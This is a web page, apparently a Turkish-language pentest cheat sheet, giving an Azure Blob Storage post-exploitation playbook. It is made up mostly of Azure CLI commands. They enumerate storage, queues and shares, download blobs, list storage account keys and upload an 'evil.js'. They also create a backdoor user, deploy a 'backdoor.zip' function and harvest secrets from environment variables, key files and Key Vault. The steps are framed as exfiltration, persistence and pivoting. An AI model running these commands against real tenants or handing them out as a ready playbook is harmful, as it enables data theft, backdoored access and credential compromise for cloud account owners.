Skip to content

Az - Blob Storage Post Exploitation

Azure post-ex

Az - Blob Storage Post Exploitation — Azure / Entra ortamında veri/exfil, yan etki ve pivot notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Hedef veriyi / trafiği / compute’u seç.

  2. Exfil veya yan etki primitifini çalıştır.

  3. İkinci hesap / iç ağ pivotunu dene.

  4. Kanıt paketini (çıktı, hash, zaman) kaydet.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
az account show
Terminal window
az ad signed-in-user show
Terminal window
az account get-access-token --query accessToken -o tsv | cut -c1-20

Az - Blob Storage Post Exploitation için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
curl -sI https://ACC.blob.core.windows.net/CON?restype=container&comp=list
Terminal window
az storage share list --account-name ACC
Terminal window
az storage queue list --account-name ACC
Terminal window
az storage message peek --queue-name Q --account-name ACC
Terminal window
az storage account list -o table
Terminal window
az storage container list --account-name ACC --auth-mode login
Terminal window
az storage blob list --account-name ACC --container-name CON -o table
Terminal window
az storage blob download --account-name ACC --container-name CON --name file --file out
Terminal window
az storage account keys list --name ACC
Terminal window
az storage blob upload --account-name ACC --container-name CON --name evil.js --file evil.js

Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.

Terminal window
az ad user create --display-name evil --password 'P@ss' --user-principal-name evil@corp.onmicrosoft.com
Terminal window
az functionapp deployment source config-zip -g RG -n APP --src backdoor.zip
Terminal window
az webapp config appsettings set -g RG -n APP --settings BACKDOOR=1

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
az keyvault secret list --vault-name VAULT -o table

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt